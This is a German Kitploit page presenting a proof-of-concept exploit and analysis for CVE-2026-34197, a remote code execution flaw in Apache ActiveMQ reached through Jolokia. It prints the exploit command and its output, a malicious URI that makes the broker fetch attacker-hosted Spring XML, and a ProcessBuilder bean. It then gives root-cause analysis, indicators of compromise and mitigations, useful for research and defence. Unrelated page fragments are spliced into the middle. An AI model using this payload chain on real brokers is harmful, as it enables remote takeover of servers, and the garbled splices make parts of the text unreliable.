Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-34197 — Proof-of-Concept-Exploit für CVE-2026-34197, der authentifizierte Remote-Codeausführung in Apache ActiveMQ über die Jolokia JMX-HTTP-Brücke und Spring-XML-Bean-Injektion demonstriert. | Kitploit
Tools/GitHubGitHub/lat-06/cve-2026-34197
Dynamische Analyse (Sandboxing)SchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungLabs & Praxis
GitHublat-06/cve-2026-34197

CVE-2026-34197

Proof-of-Concept-Exploit für CVE-2026-34197, der authentifizierte Remote-Codeausführung in Apache ActiveMQ über die Jolokia JMX-HTTP-Brücke und Spring-XML-Bean-Injektion demonstriert.

3vor 3 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Repository anzeigen
Teilen

CVE-2026-34197

Beschreibung
Unsachgemäße Eingabevalidierung, unsachgemäße Kontrolle der Codegenerierung ('Code Injection') Schwachstelle in Apache ActiveMQ Broker, Apache ActiveMQ. Apache ActiveMQ Classic legt die Jolokia JMX-HTTP-Brücke unter /api/jolokia/ auf der Webkonsole offen. Die standardmäßige Jolokia-Zugriffsrichtlinie erlaubt exec-Operationen auf allen ActiveMQ-MBeans (org.apache.activemq:*), einschließlich BrokerService.addNetworkConnector(String) und BrokerService.addConnector(String). Ein authentifizierter Angreifer kann diese Operationen mit einer manipulierten Discovery-URI aufrufen, die den brokerConfig-Parameter des VM-Transports auslöst, um einen entfernten Spring-XML-Anwendungskontext mittels ResourceXmlApplicationContext zu laden. Da Spring's ResourceXmlApplicationContext alle Singleton-Beans instanziiert, bevor BrokerService die Konfiguration validiert, kommt es durch Bean-Factory-Methoden wie Runtime.exec() zur Ausführung beliebigen Codes auf der JVM des Brokers. Dieses Problem betrifft Apache ActiveMQ Broker: vor 5.19.4, ab 6.0.0 vor 6.2.3; Apache ActiveMQ All: vor 5.19.4, ab 6.0.0 vor 6.2.3; Apache ActiveMQ: vor 5.19.4, ab 6.0.0 vor 6.2.3. Benutzern wird empfohlen, auf Version 5.19.4 oder 6.2.3 zu aktualisieren, die das Problem behebt.

Weitere Informationen unter: link

Exploit-Phase

Referenz

Github: link```bash ❯ docker compose up -d

root@kitploit:~
[No input content provided to translate.]```bash
❯ python3 exploit_poc.py auto \
    --target http://localhost:8161 \
    --lhost 192.168.1.32 --lport 9999 \
    --cmd "touch /tmp/blahblah.txt"

======================================================================
  CVE-2026-34197 — ActiveMQ RCE via Jolokia + VM Transport
  For authorized security testing and research only.
======================================================================

[*] Target: http://localhost:8161
[*] Command: touch /tmp/blahblah.txt
[*] Serving malicious Spring XML on http://0.0.0.0:9999/evil.xml
[+] Jolokia accessible — agent version: unknown
[*] Could not discover broker name, using default 'localhost'
[*] Sending exploit payload to http://localhost:8161/api/jolokia/
[*] Malicious URI: static:(vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml)
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Jolokia returned 200 — exploit payload delivered
[+] Response: {
  "request": {
    "mbean": "org.apache.activemq:brokerName=localhost,type=Broker",
    "arguments": [
      "static:(vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml)"
    ],
    "type": "exec",
    "operation": "addNetworkConnector(java.lang.String)"
  },
  "value": "NC",
  "timestamp": 1775616523,
  "status": 200
}
[*] Waiting 5s for target to fetch payload...
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Done. Verify command execution on target.

LHOST ist die private IP-Adresse des Computers. Sie können ipconfig unter Windows oder ifconfig unter Linux verwenden

Überprüfen der RCE```bash ❯ docker exec -it activemq-vuln ls -lah /tmp
total 16K drwxrwxrwt 1 root root 4.0K May 18 04:01 . drwxr-xr-x 1 root root 4.0K May 18 03:40 .. -rw-r--r-- 1 root root 0 May 18 04:01 blahblah.txt drwxr-xr-x 1 root root 4.0K May 18 04:06 hsperfdata_root

root@kitploit:~
=> RCE erfolgreich, die Datei `blahblah.txt` wurde auf dem Zielsystem erstellt.

# Analysephase
## Dynamische Analyse```bash
❯ docker exec activemq-vuln java -version 

openjdk version "11.0.24" 2024-07-16
OpenJDK Runtime Environment Temurin-11.0.24+8 (build 11.0.24+8)
OpenJDK 64-Bit Server VM Temurin-11.0.24+8 (build 11.0.24+8, mixed mode, sharing)
root@kitploit:~
❯ docker exec activemq-vuln sh -c 'ls /opt/apache-activemq/lib | grep activemq'
activemq-broker-5.18.6.jar
activemq-client-5.18.6.jar
activemq-console-5.18.6.jar
activemq-jaas-5.18.6.jar
activemq-kahadb-store-5.18.6.jar
activemq-openwire-legacy-5.18.6.jar
activemq-protobuf-1.1.jar
activemq-rar.txt
activemq-spring-5.18.6.jar
activemq-web-5.18.6.jar

Die Laufzeitprotokolle bestätigten auch, dass Jolokia aktiviert und über die ActiveMQ-Web-Konsole exponiert war:```bash INFO | ActiveMQ WebConsole available at http://0.0.0.0:8161/ INFO | ActiveMQ Jolokia REST API available at http://0.0.0.0:8161/api/jolokia/

root@kitploit:~
Verbindung überprüfen```bash
❯ curl -i -u admin:admin \
  -H 'Origin: http://localhost:8161' \
  http://localhost:8161/api/jolokia/
HTTP/1.1 200 OK
Date: Mon, 18 May 2026 04:37:28 GMT
X-FRAME-OPTIONS: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Cache-Control: no-cache
Access-Control-Allow-Origin: http://localhost:8161
Access-Control-Allow-Credentials: true
Content-Type: text/plain;charset=utf-8
Pragma: no-cache
Expires: Mon, 18 May 2026 03:37:28 GMT
Transfer-Encoding: chunked

{"request":{"type":"version"},"value":{"agent":"1.7.1","protocol":"7.2","config":{"listenForHttpService":"true","authIgnoreCerts":"false","agentId":"172.21.0.2-42-aa61e4e-servlet","debug":"false","agentType":"servlet","policyLocation":"${prop:jolokia.conf}","agentContext":"\/jolokia","serializeException":"false","mimeType":"text\/plain","dispatcherClasses":"org.jolokia.http.Jsr160ProxyNotEnabledByDefaultAnymoreDispatcher","multicastGroup":"239.192.48.84","authMode":"basic","authMatch":"any","streaming":"true","canonicalNaming":"true","historyMaxEntries":"10","allowErrorDetails":"false","allowDnsReverseLookup":"true","realm":"jolokia","includeStackTrace":"true","multicastPort":"24884","useRestrictorService":"false","debugMaxEntries":"100"},"info":{"product":"activemq","vendor":"Apache","version":"5.18.6"}},"timestamp":1779079048,"status":200}

Das bedeutet:

  • Jolokia war erreichbar
  • Authentifizierung mit Standard-Anmeldedaten erfolgreich
  • Das Ziel lief mit ActiveMQ 5.18.6
  • Der Jolokia-Agent akzeptierte authentifizierte Anfragen

Um Protokolle zu lesen```bash docker logs activemq-vuln > activemq-rce.log

root@kitploit:~
Dann grep nach der sauberen Kette```bash
❯ grep -E \
'addNetworkConnector|doCompositeConnect|createBroker|ResourceXmlApplicationContext|loadBeanDefinitions|ProcessBuilder|xbean|brokerConfig' \
activemq-rce.log
Loading message broker from: xbean:activemq.xml
 INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml
	at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:342) ~[spring-beans-5.3.39.jar:5.3.39]
	at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:310) ~[spring-beans-5.3.39.jar:5.3.39]
	at org.apache.xbean.spring.context.ResourceXmlApplicationContext.loadBeanDefinitions(ResourceXmlApplicationContext.java:116) ~[xbean-spring-4.25.jar:4.25]
	at org.apache.xbean.spring.context.ResourceXmlApplicationContext.loadBeanDefinitions(ResourceXmlApplicationContext.java:104) ~[xbean-spring-4.25.jar:4.25]
	at org.apache.xbean.spring.context.ResourceXmlApplicationContext.<init>(ResourceXmlApplicationContext.java:64) ~[xbean-spring-4.25.jar:4.25]
	at org.apache.xbean.spring.context.ResourceXmlApplicationContext.<init>(ResourceXmlApplicationContext.java:52) ~[xbean-spring-4.25.jar:4.25]
	at org.apache.activemq.xbean.XBeanBrokerFactory$1.<init>(XBeanBrokerFactory.java:104) ~[activemq-spring-5.18.6.jar:5.18.6]
	at org.apache.activemq.xbean.XBeanBrokerFactory.createApplicationContext(XBeanBrokerFactory.java:104) ~[activemq-spring-5.18.6.jar:5.18.6]
	at org.apache.activemq.xbean.XBeanBrokerFactory.createBroker(XBeanBrokerFactory.java:67) ~[activemq-spring-5.18.6.jar:5.18.6]
	at org.apache.activemq.broker.BrokerFactory.createBroker(BrokerFactory.java:71) ~[activemq-broker-5.18.6.jar:5.18.6]
	at org.apache.activemq.broker.BrokerFactory.createBroker(BrokerFactory.java:54) ~[activemq-broker-5.18.6.jar:5.18.6]
	at org.apache.activemq.transport.vm.VMTransportFactory.doCompositeConnect(VMTransportFactory.java:125) ~[activemq-broker-5.18.6.jar:5.18.6]
	at org.apache.activemq.broker.jmx.BrokerView.addNetworkConnector(BrokerView.java:388) ~[activemq-broker-5.18.6.jar:5.18.6]
	at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:333) ~[spring-beans-5.3.39.jar:5.3.39]
 WARN | Could not connect to remote URI: vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml: IOException parsing XML document from URL [http://192.168.1.17:9999/evil.xml]; nested exception is java.net.ConnectException: Connection refused (Connection refused)

Nach dem Senden des Payloads```bash INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml

root@kitploit:~
Diese Zeile ist entscheidend, da sie bestätigt, dass der vom Angreifer kontrollierte URI, der über Folgendes bereitgestellt wird:```java
BrokerView.addNetworkConnector(String)

hat die VM-Transportschicht ohne Bereinigung erreicht.

Die während der Ausnutzung verwendete böswillige URI war:```text static:(vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml)

root@kitploit:~
Diese URI enthält zwei wichtige Teile:

| Component       | Purpose                                           |
| --------------- | ------------------------------------------------- |
| `static:(...)`  | Wrapper, der von ActiveMQ-Discovery-Connectoren verwendet wird |
| `vm://evil?...` | VM-Transport-URI, die intern von ActiveMQ verarbeitet wird |

Der `static:(...)`-Wrapper selbst ist nicht die angreifbare Komponente. Sein Zweck ist es, die eingeschlossene Transport-URI an das Netzwerk-Connector-Subsystem von ActiveMQ weiterzuleiten.

Während der Laufzeitextraktion extrahierte und verarbeitete ActiveMQ die innere VM-Transport-URI:```text
vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml

Dieses Verhalten wurde in den Laufzeitprotokollen bestätigt:```text INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml

root@kitploit:~
Der `brokerConfig=`-Parameter ist der kritische Teil der Nutzlast. Er wies die VM-Transport-Schicht an, dynamisch eine Broker-Instanz zu erstellen, die eine externe Spring-xbean-Konfiguration lädt, geladen von:```text
http://192.168.1.32:9999/evil.xml

Das Präfix xbean: führte dazu, dass ActiveMQ die Verarbeitung an Spring's XML-Anwendungskontext-Loader delegierte:```text org.apache.xbean.spring.context.ResourceXmlApplicationContext

root@kitploit:~
Als Ergebnis wurde das entfernte XML-Dokument analysiert und als Spring-Anwendungskontext innerhalb der Broker-JVM instanziiert. Das bösartige XML enthielt die folgende Spring-Bean:```xml
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">

Diese Bean-Definition wies Spring an, ein ProcessBuilder-Objekt zu instanziieren und sofort dessen start()-Methode während der Initialisierung des Anwendungskontexts aufzurufen.

Der Exploit verwendete den folgenden Befehl:```bash touch /tmp/blahblah.txt

root@kitploit:~
Da Spring Singleton-Beans während der Kontextinitialisierung eifrig instanziiert, wurde die Methode `ProcessBuilder.start()` ausgeführt, bevor ActiveMQ überprüfte, ob die Broker-Konfiguration selbst sicher oder gültig war.

Dies führte zur Ausführung beliebiger Befehle auf dem Zielcontainer.

Der Exploit wurde durch Überprüfen des `/tmp`-Verzeichnisses innerhalb des ActiveMQ-Containers bestätigt:

docker exec <container_name> ls /tmp

root@kitploit:~
❯ docker exec -it activemq-vuln ls -lah /tmp

total 16K
drwxrwxrwt 1 root root 4.0K May 18 04:01 .
drwxr-xr-x 1 root root 4.0K May 18 03:40 ..
-rw-r--r-- 1 root root    0 May 18 04:01 blahblah.txt
drwxr-xr-x 1 root root 4.0K May 18 04:06 hsperfdata_root
```
Die Dateimetadaten bestätigten weiterhin die erfolgreiche Befehlsausführung:```bash
❯ docker exec activemq-vuln stat /tmp/blahblah.txt

File: /tmp/blahblah.txt
Size: 0
Uid: (0/root)
Gid: (0/root)
Birth: 2026-05-18 04:01:35
```
Dies beweist, dass willkürliche Betriebssystembefehle erfolgreich im Kontext des ActiveMQ-Containers ausgeführt wurden.

Der Laufzeit-Stacktrace offenbarte auch den vollständigen anfälligen Ausführungspfad:```text
BrokerView.addNetworkConnector()
  ->
VMTransportFactory.doCompositeConnect()
  ->
BrokerFactory.createBroker()
  ->
XBeanBrokerFactory.createApplicationContext()
  ->
ResourceXmlApplicationContext
  ->
XmlBeanDefinitionReader.loadBeanDefinitions()
  ->
Spring bean instantiation
  ->
ProcessBuilder.start()
  ->
OS command execution
```
Die folgenden Stack-Trace-Einträge wurden während der Laufzeitanalyse beobachtet:```text
at org.apache.activemq.broker.jmx.BrokerView.addNetworkConnector(BrokerView.java:388)

at org.apache.activemq.transport.vm.VMTransportFactory.doCompositeConnect(VMTransportFactory.java:125)

at org.apache.activemq.broker.BrokerFactory.createBroker(BrokerFactory.java:71)

at org.apache.activemq.xbean.XBeanBrokerFactory.createBroker(XBeanBrokerFactory.java:67)

at org.apache.activemq.xbean.XBeanBrokerFactory.createApplicationContext(XBeanBrokerFactory.java:104)

at org.apache.xbean.spring.context.ResourceXmlApplicationContext.loadBeanDefinitions(ResourceXmlApplicationContext.java:116)

at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:342)
```
Eine der wichtigsten Beobachtungen während der dynamischen Analyse war die Reihenfolge, in der Spring und ActiveMQ die schädliche Konfiguration verarbeiteten.

Nachdem das Payload erfolgreich ausgeführt wurde, erzeugte ActiveMQ später die folgende Warnung:```text
WARN | Could not connect to remote URI:
The configuration has no BrokerService instance for resource:
xbean:http://192.168.1.32:9999/evil.xml
```
Dieses Verhalten zeigt, dass:```text
Spring bean instantiation occurred before ActiveMQ validated the broker configuration.
```
Even though the broker configuration itself was ultimately rejected, the malicious Spring bean had already been instantiated and executed.

This ordering issue is the core logic flaw behind CVE-2026-34197.

The dynamic analysis identified the following components participating in the exploit chain:

| Komponente                    | Rolle                             |
| ----------------------------- | --------------------------------- |
| Jolokia                       | HTTP-zu-JMX-Brücke                |
| BrokerView                    | Freigegebenes Management-MBean    |
| VMTransportFactory            | Analysiert `vm://` Transport-URI  |
| BrokerFactory                 | Erstellt Broker-Instanz           |
| XBeanBrokerFactory            | Lädt Spring-xbean-Konfiguration   |
| ResourceXmlApplicationContext | Lädt entferntes XML               |
| XmlBeanDefinitionReader       | Analysiert Spring-Bean-Definitionen |
| Spring BeanFactory            | Instanziiert Singleton-Beans      |
| ProcessBuilder                | Führt Betriebssystembefehle aus   |

The dynamic analysis confirms that CVE-2026-34197 is caused by the interaction between:

* Übermäßig permissive Jolokia-Management-Operationen
* Vom Angreifer kontrollierte Transport-URIs
* Automatische Erstellung des VM-Transport-Brokers
* Laden der Spring-xbean-Fernkonfiguration
* Frühzeitiges Instanziieren von Singleton-Beans vor der Validierung

As a result, an authenticated attacker can achieve arbitrary code execution on the ActiveMQ JVM by supplying a malicious `brokerConfig=xbean:http://...` URI through the Jolokia-exposed `addNetworkConnector()` operation.

### Architekturübersicht

Apache ActiveMQ Classic stellt eine Verwaltungsschnittstelle über die Jolokia-JMX-HTTP-Brücke zur Verfügung, die unter folgender Adresse erreichbar ist:```text id="n0vmrq"
/api/jolokia/
```
Jolokia fungiert als HTTP-zu-JMX-Brücke und ermöglicht es authentifizierten Benutzern, Java Management Extensions (JMX)-Operationen remote über HTTP aufzurufen.

Der identifizierte angreifbare Architekturpfad während der Analyse ist unten dargestellt:```text id="yavj0f"
HTTP Request
  ->
Jolokia Servlet
  ->
JMX MBean Invocation
  ->
BrokerView.addNetworkConnector()
  ->
VMTransportFactory
  ->
BrokerFactory
  ->
XBeanBrokerFactory
  ->
Spring ResourceXmlApplicationContext
  ->
Spring Bean Instantiation
  ->
OS Command Execution
```
The following components were involved in the exploit chain:

| Component             | Function                                     |
| --------------------- | -------------------------------------------- |
| Jolokia               | Stellt JMX-Operationen über HTTP bereit      |
| BrokerView            | Schnittstelle für Management MBeans          |
| VMTransportFactory    | Verarbeitet `vm://`-Transport-URIs           |
| BrokerFactory         | Erstellt dynamisch Broker                    |
| XBeanBrokerFactory    | Lädt Spring‑xbean‑Konfigurationen            |
| Spring Context Loader | Analysiert und instanziiert XML‑Bean‑Definitionen |
| ProcessBuilder        | Führt Betriebssystembefehle aus              |

Die Architektur wird angreifbar, weil ActiveMQ authentifizierten Benutzern erlaubt, gefährliche Broker‑Verwaltungsmethoden mit angreiferkontrollierten Transport‑URIs aufzurufen.

---

### Angriffsflächenanalyse

Die primäre Angriffsfläche ist der über die ActiveMQ‑Webkonsole bereitgestellte Jolokia‑HTTP‑Endpunkt:```text id="xq7vba"
http://<target>:8161/api/jolokia/
```
Die Laufzeitanalyse bestätigte, dass die Jolokia-Schnittstelle standardmäßig aktiviert war:```text id="y7qz5e"
INFO | ActiveMQ Jolokia REST API available at http://0.0.0.0:8161/api/jolokia/
```
Der Jolokia-Endpunkt akzeptierte authentifizierte Anfragen unter Verwendung der HTTP Basic Authentication:```json id="13tzmx"
"authMode":"basic"
```
Die folgende gefährliche Verwaltungsoperation wurde offengelegt:```java id="pxqv10"
BrokerView.addNetworkConnector(String)
```
Diese Methode akzeptiert eine benutzergesteuerte Transport-URI ohne ausreichende Einschränkung gefährlicher URI-Schemata oder Konfigurationsparameter.

Der Angreifer übermittelte folgenden Payload:```text id="v3u3f2"
static:(vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml)
```
Dieser Payload nutzte mehrere Funktionen gleichzeitig aus:

| Feature                 | Missbrauch                               |
| ----------------------- | ----------------------------------- |
| `addNetworkConnector()` | Akzeptiert vom Angreifer kontrollierte URI      |
| `vm://` transport       | Löst dynamische Broker-Erstellung aus     |
| `brokerConfig=`         | Lädt beliebige Broker-Konfiguration |
| `xbean:`                | Ruft Spring XML-Lader auf            |
| Remote HTTP URL         | Ruft vom Angreifer kontrollierte XML ab       |

Die Angriffsfläche umfasst daher:

* Offenlegung der Jolokia HTTP-API
* Schwach eingeschränkte JMX-Verwaltungsvorgänge
* Dynamische Analyse von Transport-URIs
* Laden externer Broker-Konfiguration
* Spring xbean-Integration

---

### Ursachenanalyse

Die Schwachstelle wird durch das Zusammenspiel mehrerer vertrauenswürdiger Subsysteme innerhalb von ActiveMQ verursacht.

Das Kernproblem ist, dass authentifizierte Jolokia-Benutzer gefährliche Broker-Verwaltungsvorgänge mit vom Angreifer kontrollierten Transport-URIs ausführen dürfen.

Der während der Laufzeitanalyse identifizierte anfällige Ausführungsablauf ist:```text id="m57h1r"
Jolokia
  ->
BrokerView.addNetworkConnector()
  ->
VMTransportFactory.doCompositeConnect()
  ->
BrokerFactory.createBroker()
  ->
XBeanBrokerFactory.createApplicationContext()
  ->
ResourceXmlApplicationContext
  ->
Spring bean instantiation
```
Der kritische Parameter ist:```text id="s59jsn"
brokerConfig=xbean:http://attacker/evil.xml
```
Dieser Parameter weist die VM-Transportebene an, dynamisch einen Broker mithilfe einer externen Spring-xbean-Konfiguration zu erstellen.

Die folgenden Laufzeitnachweise bestätigten dieses Verhalten:```text id="74y0rw"
INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml
```
Spring lud dann das entfernte XML über:```text id="i54jqs"
org.apache.xbean.spring.context.ResourceXmlApplicationContext
```
Das schädliche XML enthielt:```xml id="y6jphd"
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
```
Während der Initialisierung des Spring-Anwendungskontexts werden Singleton-Beans sofort instanziiert. Infolgedessen wurde die Methode `ProcessBuilder.start()` sofort ausgeführt.

Der entscheidende logische Fehler besteht darin, dass die Instanziierung der Spring-Beans stattfand, bevor ActiveMQ überprüfte, ob die Broker-Konfiguration selbst sicher oder gültig war.

Dieses Verhalten wurde dynamisch nachgewiesen, weil:

1. Die schädliche Nutzlast erstellte erfolgreich `/tmp/blahblah.txt`
2. ActiveMQ lehnte später die Broker-Konfiguration ab mit:```text id="6k1dwn"
The configuration has no BrokerService instance
```
Dies demonstriert, dass die Codeausführung stattfand, bevor die Broker-Validierung abgeschlossen war.

---

### Indikatoren für Kompromittierung (IOC) und Erkennung

Mögliche Indikatoren für eine Kompromittierung umfassen verdächtige Jolokia-Anfragen, die auf ActiveMQ-Verwaltungsvorgänge abzielen.

#### Verdächtige Jolokia-Operationen

Achten Sie auf Anfragen, die folgendes aufrufen:```text id="c56p2k"
addNetworkConnector
addConnector
```
durch:```text id="pt2n3d"
/api/jolokia/
```
#### Verdächtige URI-Muster

Die folgenden URI-Fragmente sind starke Indikatoren für Ausnutzungsversuche:```text id="n9jlwm"
vm://
brokerConfig=
xbean:
static:(
```
Beispiel einer schädlichen Nutzlast:```text id="wjsowq"
static:(vm://evil?brokerConfig=xbean:http://attacker/evil.xml)
```
#### Ausgehende HTTP-Verbindungen

Der Broker kann ausgehende Anfragen an eine von Angreifern kontrollierte Infrastruktur initiieren:```text id="f5g9kx"
http://attacker/evil.xml
```
Unerwarteter ausgehender HTTP-Verkehr von der Broker-JVM sollte untersucht werden.

#### Verdächtige Laufzeitprotokolle

Die folgenden Laufzeitmeldungen sind verdächtig:```text id="1zj8yf"
Establishing network connection from vm://localhost to vm://evil
```
https://www.kitploit.com/2022/08/httpx-to-do-http-requests-and-retrieve.html
HTTpx ist ein Tool, mit dem Sie HTTP-Anfragen durchführen und HTTP-Antwortstatuscodes abrufen sowie Antwortheader und mehr extrahieren können.

Mehr von meiner Seite

Memory Process Dump (MPD)
Dynamic Review of Obfuscated JavaScript code
Python File Watcher
PS4 Remote Package Installer
XSS Payload List
Loading...  Loading...  Loading...  Loading...  Loading...  Loading...   http://feedproxy.google.com/~r/PentestTools/~3/38FGQ6p-2v4/httpx-to-do-http-requests-and-retrieve.html  Loading...```text id="3q2vls"
ResourceXmlApplicationContext
```
[adcs1]<--- TCP/135 --->[adcs2]```text id="jzsk0g"
XmlBeanDefinitionReader.loadBeanDefinitions
```
#### Dateisystem-Artefakte

Unerwartete Dateien unter:```text id="6x7qcm"
/tmp/
```
oder eine verdächtige Ausführung von Kindprozessen aus der ActiveMQ JVM kann auf eine Ausnutzung hindeuten.

---

### Auswirkungsanalyse

Eine erfolgreiche Ausnutzung ermöglicht die authentifizierte Remote-Code-Ausführung im Kontext der ActiveMQ JVM.

In der analysierten Umgebung wurden beliebige Betriebssystembefehle erfolgreich innerhalb des Containers ausgeführt:```bash id="2hyz0w"
touch /tmp/blahblah.txt
```
Ergebnis:```text id="rm2qfd"
/tmp/blahblah.txt
```
Die Datei wurde erstellt als:```text id="9phgkz"
Uid: (0/root)
```
Dies deutet darauf hin, dass die Befehlsausführung mit Root-Rechten innerhalb des Containers erfolgte.

Mögliche Auswirkungen umfassen:

| Auswirkung                | Beschreibung                               |
| --------------------- | ----------------------------------------- |
| Remote Code Execution | Beliebige Befehlsausführung               |
| Container-Kompromittierung  | Vollständige Kompromittierung des ActiveMQ-Containers |
| Diebstahl von Anmeldedaten      | Zugriff auf Broker-Anmeldedaten und Geheimnisse  |
| Lateral Movement      | Pivotieren zu benachbarten Systemen              |
| Persistenz           | Erstellung bösartiger Netzwerkverbindungen  |
| Datenexposition         | Zugriff auf Broker-Nachrichten und Warteschlangen |

Die Schwere erhöht sich erheblich, wenn:

* Jolokia extern freigegeben ist
* Standard-Anmeldedaten aktiviert bleiben
* Container als Root ausgeführt werden
* Broker-Hosts uneingeschränkten ausgehenden Zugriff haben

---

### Gegenmaßnahmen

#### Upgrade auf behobene Versionen

Aktualisieren Sie ActiveMQ Classic auf:```text id="8w0j6k"
5.19.4 or later
6.2.3 or later
```
#### Jolokia-Zugriff einschränken

Deaktivieren Sie Jolokia, falls nicht erforderlich.

Falls Jolokia weiterhin aktiviert bleiben muss:

* Zugriff auf vertrauenswürdige administrative Netzwerke beschränken
* Starke Authentifizierung erzwingen
* Gefährliche Exec-Operationen deaktivieren
* Strenge Jolokia-Zugriffsrichtlinien anwenden

#### Standard-Anmeldedaten entfernen

Nicht verwenden:```text id="9mw1xv"
admin:admin
```
#### Ausgehenden Netzwerkzugriff einschränken

Verhindern Sie, dass der Broker beliebige ausgehende HTTP-Verbindungen initiiert.

Dies mindert Versuche, Remote-XML abzurufen.

#### Gefährliche Funktionen deaktivieren

Schränken Sie ein oder deaktivieren Sie:

* Dynamische Broker-Erstellung
* Nutzung des `vm://`-Transports
* Externes Laden von `xbean:`-Konfigurationen

#### Laufzeitumgebung härten

* Container als Nicht-Root-Benutzer ausführen
* Dateisystembeschränkungen anwenden
* Netzwerksegmentierung verwenden
* Ausführung von JVM-Unterprozessen überwachen

#### Erkennungsempfehlungen

Überwachen Sie auf:

* Anfragen an `/api/jolokia/`
* Nutzung von `addNetworkConnector`
* `brokerConfig=`-Parameter
* `xbean:`-URIs
* Ausgehende HTTP-Anfragen von der Broker-JVM
* Unerwartete von Java erzeugte Unterprozesse

## Statische Analyse

### Überblick über den Quellcode

Der anfällige Pfad durchquert die ActiveMQ-Web-/JMX-Verwaltungsschicht, die Broker-Netzwerkschicht, den VM-Transport, das Broker-Factory-Subsystem und das Spring-XBean-Konfigurationsladen.

Jolokia ist in der ActiveMQ-Web-API-Anwendung aktiviert:```xml
<!-- assembly/src/release/webapps/api/WEB-INF/web.xml -->
<servlet>
    <servlet-name>jolokia-agent</servlet-name>
    <servlet-class>org.jolokia.http.AgentServlet</servlet-class>
    ...
</servlet>

<servlet-mapping>
    <servlet-name>jolokia-agent</servlet-name>
    <url-pattern>/jolokia/*</url-pattern>
</servlet-mapping>
```
Beim Start des Brokers registriert ActiveMQ `BrokerView` als Broker-Management-MBean:```java
// activemq-broker/src/main/java/org/apache/activemq/broker/BrokerService.java
protected void startManagementContext() throws Exception {
    getManagementContext().setBrokerName(brokerName);
    getManagementContext().start();
    adminView = new BrokerView(this, null);
    ObjectName objectName = getBrokerObjectName();
    AnnotatedMBean.registerMBean(getManagementContext(), adminView, objectName);
}
```
Der Objektname wird wie folgt erstellt:```java
// activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerMBeanSupport.java
public static ObjectName createBrokerObjectName(String jmxDomainName, String brokerName)
        throws MalformedObjectNameException  {
    String objectNameStr = jmxDomainName + ":type=Broker,brokerName=";
    objectNameStr += JMXSupport.encodeObjectNamePart(brokerName);
    return new ObjectName(objectNameStr);
}
```
In der Standardverteilung macht dies das broker MBean als ein HTTP-aufrufbares Jolokia-Ziel verfügbar, wie:```text
org.apache.activemq:type=Broker,brokerName=localhost
```
Die relevanten Komponentenverantwortlichkeiten sind:

- `BrokerView`: JMX-orientierte Broker-Management-Fassade. Sie stellt `addNetworkConnector(String)` und `addConnector(String)` bereit.
- `BrokerService`: Broker-Laufzeitobjekt. Es wandelt eine String-Adresse eines Netzwerk-Connectors in einen `URI` um und erstellt einen `DiscoveryNetworkConnector`.
- `DiscoveryNetworkConnector`: Verwendet einen Discovery-Agenten, um entfernte Broker-Service-URIs zu erhalten, und verbindet sich dann mit jeder entdeckten URI.
- `TransportFactory`: Löst ein URI-Schema mithilfe von `META-INF/services/org/apache/activemq/transport/<scheme>` in eine Transport-Factory auf.
- `VMTransportFactory`: Behandelt `vm://`-Transporte und kann automatisch einen eingebetteten Broker erstellen, wenn der angeforderte VM-Broker nicht existiert.
- `BrokerFactory`: Löst ein Broker-Konfigurations-URI-Schema mithilfe von `META-INF/services/org/apache/activemq/broker/<scheme>` auf.
- `XBeanBrokerFactory`: Behandelt Broker-Konfigurations-URIs vom Typ `xbean:` und erstellt einen Spring/XBean-Anwendungskontext.
- `ResourceXmlApplicationContext`: Lädt die XML-Ressource und führt eine Spring-Bean-Factory-Aktualisierung durch, einschließlich der Erstellung von eifrigen Singletons.

Die Sicherheitslücke besteht, weil die Verwaltungsmethode eine ActiveMQ-URI-Sprache akzeptiert, die keine passive Datenstruktur ist. Wenn die URI ausgewertet wird, können Broker erstellt und Spring-XML-Konfigurationen geladen werden.

---

### Angriffspunkt

Der anfällige Angriffspunkt ist:```java
// activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerView.java
public String addNetworkConnector(String discoveryAddress) throws Exception {
    NetworkConnector connector = brokerService.addNetworkConnector(discoveryAddress);
    if (connector == null) {
        throw new NoSuchElementException("Not connector matched the given name: " + discoveryAddress);
    }
    brokerService.registerNetworkConnectorMBean(connector);
